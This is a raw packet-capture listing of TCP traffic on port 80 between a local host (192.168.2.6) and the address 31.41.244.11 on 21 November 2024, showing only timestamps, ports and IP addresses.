Nov 21, 2024 14:11:15.293025970 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.293040991 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.293068886 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.293081045 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.293859005 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.293873072 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.293889046 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.293906927 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.293920040 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.293931007 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.294645071 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.294661045 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.294692039 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.294703960 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.294786930 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.295007944 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.295572042 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.295588017 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.295603037 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.295646906 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.296487093 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.296502113 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.296518087 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.296536922 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.296561956 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.297461987 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.297513008 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.297660112 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.297676086 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.297703028 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.297732115 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.298165083 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.298181057 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.298196077 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.298219919 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.298237085 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.299098015 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.299112082 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.299129009 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.299146891 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.299160004 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.299844980 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.299990892 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.300019979 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.300035000 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.300061941 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.300076008 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.300805092 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.300848961 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.300992012 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.301007032 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.301136971 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.301754951 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.301769972 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.301784039 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.301806927 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.301841021 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.302411079 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.302459955 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.302596092 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.302613020 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.302644968 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.302656889 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.303450108 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.303466082 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.303499937 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.303574085 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.303618908 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.304239988 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.304285049 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.304429054 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.304445028 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.304493904 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.305241108 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.305259943 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.305275917 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.305303097 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.305336952 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.306030035 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.306045055 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.306080103 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.306093931 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.306195021 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.306240082 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.307013035 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.307028055 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.307044983 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.307091951 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.307797909 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.307858944 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.308151007 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.308165073 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.308181047 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.308202028 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.308228016 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.309026003 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.309041023 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.309056044 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.309077024 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.309103966 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.309974909 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.309989929 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.310004950 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.310018063 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.310031891 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.310045958 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.310940027 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.310955048 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.310970068 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.311018944 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.311609030 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.311625957 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.311641932 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.311652899 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.311667919 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.311691999 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.312465906 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.312516928 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.312642097 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.312657118 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.312686920 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.312714100 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.313344002 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.313359976 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.313374043 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.313391924 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.313405991 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.313415051 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.314181089 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.314225912 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.314367056 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.314382076 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.314500093 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.315182924 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.315197945 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.315236092 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.315267086 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.315304041 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.315354109 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.315948009 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.316008091 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.316111088 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.316126108 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.316160917 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.316191912 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.316946983 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.316962004 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.316977978 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.317048073 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.317537069 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.317553043 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.317568064 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.317594051 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.317631006 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.318130016 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.318214893 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.318419933 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.489274025 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.489336967 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.489341974 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.489398003 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.489420891 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.489486933 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.489552975 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.489587069 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.489644051 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.490355968 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.490472078 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.490506887 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.490573883 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.490605116 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.491120100 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.491177082 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.491189003 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.491224051 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.491266012 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.491307020 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.491978884 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.492033958 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.492069006 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.492077112 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.492100954 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.492115021 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.492856979 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.492909908 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.492923975 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.492945910 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.492969036 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.493001938 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.493784904 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.493837118 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.493868113 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.493870974 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.493886948 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.493925095 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.494599104 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.494652033 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.494679928 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.494685888 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.494707108 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.494725943 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.495515108 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.495567083 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.495601892 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.495640039 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.495657921 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.496366024 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.496428967 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.496450901 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.496468067 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.496694088 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.497282982 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.497323036 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.497338057 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.497354984 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.497373104 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.498106956 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.498155117 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.498161077 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.498176098 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.498235941 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.498979092 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.499061108 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.499070883 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.499077082 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.499142885 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.499916077 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.499967098 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.499983072 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.499994993 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.500010967 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.500030994 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.500724077 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.500751019 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.500766039 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.500771046 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.500791073 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.500907898 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.501606941 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.501668930 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.501683950 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.501698971 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.501720905 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.501720905 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.502497911 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.502552986 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.502568960 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.502582073 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.502595901 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.502605915 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.503390074 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.503441095 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.503457069 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.503493071 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.503518105 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.504234076 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.504287958 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.504302979 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.504343033 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.504367113 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.505135059 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.505161047 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.505178928 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.505194902 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.505212069 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.505249023 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.506001949 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.506050110 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.506066084 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.506129980 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.506241083 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.506853104 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.506916046 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.506931067 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.506967068 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.506993055 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.507783890 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.507810116 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.507824898 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.507843018 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.507872105 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.508718967 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.508788109 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.509118080 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.509144068 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.509160995 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.509186029 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.509213924 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.509794950 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.509857893 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.509866953 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.509881973 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.509931087 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.510674953 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.510730982 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.510746956 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.510818958 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.511542082 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.511599064 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.511617899 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.511634111 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.511663914 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.511682987 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.512429953 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.512485981 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.512515068 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.512530088 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.512556076 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.512573957 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.513310909 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.513359070 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.513375044 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.513417959 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.514200926 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.514259100 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.514275074 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.514342070 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.514405012 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.515068054 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.515115976 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.515130997 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.515144110 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.515197039 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.515938044 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.515994072 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.516010046 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.516035080 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.516069889 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.516812086 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.516864061 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.516870022 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.516889095 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.517167091 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.517726898 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.517781019 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.517796993 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.517833948 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.517848969 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.518642902 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.518677950 CET	80	49876	31.41.244.11	192.168.2.6
